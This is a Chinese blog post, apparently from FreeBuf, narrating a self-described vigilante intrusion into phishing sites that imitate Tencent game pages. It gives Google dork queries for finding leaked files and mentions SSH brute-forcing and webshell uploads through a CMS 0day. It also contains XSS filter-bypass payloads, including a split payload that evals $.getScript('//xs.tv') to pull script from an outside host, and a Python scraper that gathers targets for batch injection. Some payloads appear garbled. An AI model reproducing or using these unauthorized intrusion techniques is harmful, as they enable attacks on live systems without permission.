攻破黑市之拿下吃鸡DNF等游戏钓鱼站群

综合技术 2018-05-28

前段时间有个网友给我发了个网址,说找到个专门做钓鱼网站的连接,让我看看,然后就引出了一系列事件。

网址如下: http://mfnyongshihuigui.jiebao8.top

当时也没在意,有天闲着无聊就开干了,

直接打开 jiebao8.top

果然是钓鱼站

先对其进行一些信息搜集看看

对其用谷歌语法搜索,看看是否有以下漏洞,

1目录遍历漏洞

语法为: site:jiebao8.top intitle:index.of

2 配置文件泄露

语法为: site:jiebao8.top ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini

3数据库文件泄露

site:jiebao8.top ext:sql | ext:dbf | ext:mdb

4日志文件泄露

site:jiebao8.top ext:log

5备份和历史文件

site:jiebao8.top ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup

6 SQL错误

site:jiebao8.top intext:”sql syntax near” | intext:”syntax error has occurred” | intext:”incorrect syntax near” | intext:”unexpected end of SQL command” | intext:”Warning: mysql_connect()” | intext:”Warning: mysql_query()” | intext:”Warning: pg_connect()”

7 公开文件信息

site:jiebao8.top ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv

8 phpinfo() site:jiebao8.top ext:php intitle:phpinfo “published by the PHP Group”

然而没查到什么

将此域名放到情报分析里查看

https://x.threatbook.cn/domain/mfnyongshihuigui.jiebao8.top

IP [162.247.96.114]

发现改IP地址一共有230个域名

谁没事会注册这么多域名,肯定拿来干坏事

查询此IP

162.247.96.114

开放端口:21(ftp),80,102(ssh),3306

对ssh端口进行爆破,无果~

对该域名进行CMS识别

http://www.yunsee.cn/

结果为 PCWAP

PCWAP一个小众的CMS系统,手里头刚好有个PCWAP的0day

越权进后台查看信息

http://mfnyongshihuigui.jiebao8.top

修改文件上传类型,添加.php

然后我们上传图片LOGO,因为修改了上传类型,直接上传大马试试

上传大马,小马,一句话

这里大概有20多个钓鱼网站,DNF,吃鸡的

尝试着提权,但是发现执行不了linux命令,可能禁止了

全部都是钓鱼站

我直接打包了所有源码,说实话,我很想对其进行代码审计,不过,我代码审计不是我的强项

而且种钓鱼网站我好像搞过,不过当时没盲打进去,现在拿下了源码,我肯定要试试这边的过滤规则

因为我本人不会代码审计,所以说拿到后台以后也只是凭着自己的经验模糊测试

在提交账号密码时抓包

输入paylaod

u=12312312&p=12312">1&bianhao=1

后台看回显

c标签被成功执行,证明有XSS漏洞, 现在我们来进一步测试

paylaod为

 u=12313123&p=32">//3&bianhao=1

发现页面被拦截,

难道alert是危险字符?换个事件看看

payload:

 u=12313123&p=32">//3&bianhao=1

成功弹窗,现在我们来开始构造xss paylaod

如果你之前看过我的文章,我发布过很多过狗的xss paylaod

连接如下: https://bbs.ichunqiu.com/thread-31886-1-1.html

我们直接拿来用

payload为

u=21312312&p=&bianhao=1

被拦截了,在测试看看

payload为,对关键字符HTML编码试试

u=21312312&p=<img src=1 onerror=document.write(['']).join('')>&bianhao=1

被拦截

用string.fromcharcode函数构造payload 试试,还是不行

我接近试了上百个payload,回显都是 被拦截

凭着我单身23年的经验发现这个xss 过滤机制可能没那么简单

通过不断的模糊测试,发现对方的过滤机制大概如下:

带有a字符被拦截,已经onmouseover,onload等常见事件全部被过滤,最长处最大长度为32个字符,+,&#等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知 能够执行的事件有 onscroll,onfocus,onfocus,并且unciode 编码没被过滤, 没过滤的标签为 body,input,br,i 标签。

只有32个字符能输入,我目前搜集最短的xss paylaod 20个, 也就是,但是script早就被过滤了 32 个字符,过滤了这么多肯定是构造不了,所以只能用拆分跨站, 通过查看源码我发现了一个新的思路。

就是他后台调用的jquery框架

由此自己研究出了一个新的拆分跨站

思路就是:

我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS站点(如果你没听懂的话,看看下面的代码)

代码如下, 首先我们来了解下 一些javascript的事件以及函数

onscroll 事件 在元素滚动条在滚动时触发

onfocus 事件在对象获得焦点时发生

以及浏览器的一些特性, 当我们输入i标签时,我们不需要输入 闭合标签(原本完整的i标签是 12312

而现在我们只需要输入 12312 即可

我们进入后台查看如下

后面的标签被自动 补上去了

了解了这些,看接下来的最新拆分跨站就容易多了

拆分跨站代码如下

1

$.getScript(`//xs.tv`) 2

3

4

5

这段代码的意思是,只要对方移动鼠标滑轮或者手机端向下面滑动,就会产生出一个事件 $(`*`).focus() 这是jq的选择器,意思是让所有的元素获得焦点

然后下面的两个input标签就获取了焦点, 而input标签里有一个事件,onfocus,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(`//xs.tv`) ),并且用eval执行它,所以这段代码整体的执行效果就是

只要对方移动了滑轮,就会执行 eval( $.getScript(`//xs.tv`))

如果你还没看明白的话,那就实践试试吧

我们把xss paylad 分成5段分别输入进去

效果如下:

已经成功加载了我的XSS站点,想要拿下这种类型的后台,就需要两位数的域名

根据这个站点的关键词

幸运冒险家启航-心悦俱乐部官方网站-腾讯游戏

老兵空降回归-绝地求生官方网站-腾讯游戏 (吃鸡的钓鱼站找不到)

百度一搜索,全是钓鱼界面

于是我写了个批量攻击的脚本,先用采集器采集这些钓鱼网址,再批量注入

import requests
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
headers={
   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
   'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
   'Connection' : 'keep-alive',
   'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
   'X-Forwarded-For':'120.239.169.74'
}


#设置头部
proxies={
"http":"http://127.0.0.1:8080",
"https":"https://127.0.0.1:8080",
}
#设置代理
 
for i in range(0,200,10):  #根据百度的url设置搜索1-20页
bd_search="https://www.baidu.com/s?wd=幸运冒险家启航-心悦俱乐部官方网站-腾讯游戏&pn=%s" % str(i)  #关键词搜索
r=requests.get(bd_search,headers=headers,verify=False,proxies=proxies,timeout=2)  #发起请求
f=open("1.html","a+",encoding="utf-8")  #把请求结果保存到1.html里
f.write(r.text)
f.close()
soup=BeautifulSoup(r.text,"lxml")
url_list=soup.select(".t > a")  #对请求回来的内容进行查找,找出a标签里(找出钓鱼链接)
for url in url_list:
real_url=url['href']  #遍历循环,并且打印
try:
r=requests.get(real_url,headers=headers,verify=False,proxies=proxies,timeout=2)  #再次请求
print(r.url)  #打印出钓鱼链接
f=open("exp.txt","a+",encoding="utf-8")
f.write(r.url+"n")   #把查找到的钓鱼链接保存到exp.txt里
f.close()
except Exception as e:
print(e)

效果如下

然后再批量渗透,自己也写了一个批量渗透钓鱼网站的脚本(不打算发,怕被人说我传播黑客工具。。。。)

拿到的钓鱼网站大部分貌似都没什么账号密码, 就看到这个吃鸡的钓鱼站

我帮这位老兄删光了

一个钓鱼站大概一天上百个账号密码,不知道有多少人QQ是这样被盗的

此次渗透,可能话比较多,各位别介意,这也是为了XSS基础比较薄弱的学友考虑~~嘿嘿~~~

*本文作者:风在指尖,转载请注明来自 FreeBuf.COM

您可能感兴趣的

新型攻击手法:利用XSS绕过WAF进行SQL注入... *本文作者:风之传说,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。 0×00 前言 看到标题,很多人肯定会一脸懵逼,这是什么鬼。利用xss绕过waf进行sql注入? 话说,没点意思的文章,我自己也不好意思写出来啊。 通俗讲,就是XSS...
注意了,使用XSS平台的你可能被“偷窥”... Par0:楔子 故君子之治人也,即以其人之道,还治其人之身。 Par1 :你要了解的事 XSS平台: 玩渗透测试的人,对XSS平台应该不会陌生。 最简单的XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取...
Workaround: Secure DataNode Crashes A recent Linux kernel update to workaround CVE-2017-1000366 is causing Apache Hadoop’s secure DataNode (and NFS manager) to crash on startup....
What is Cross-Site Scripting, and Why Should You C... In discussions about security testing, you have probably heard about Cross-Site Scripting (XSS), but you may not have a good definition of what it is....
OWASP Juice Shop题解(一) 安装过程就不说了,网上很多攻略已经说的很详细了,直接进入正题。 安装完成后的界面: 1.Score Board 查看一下页面源代码,发现一个隐藏URL 打开这个URL http://172.16.68.100:3000/#/score-board ,即完成第一个...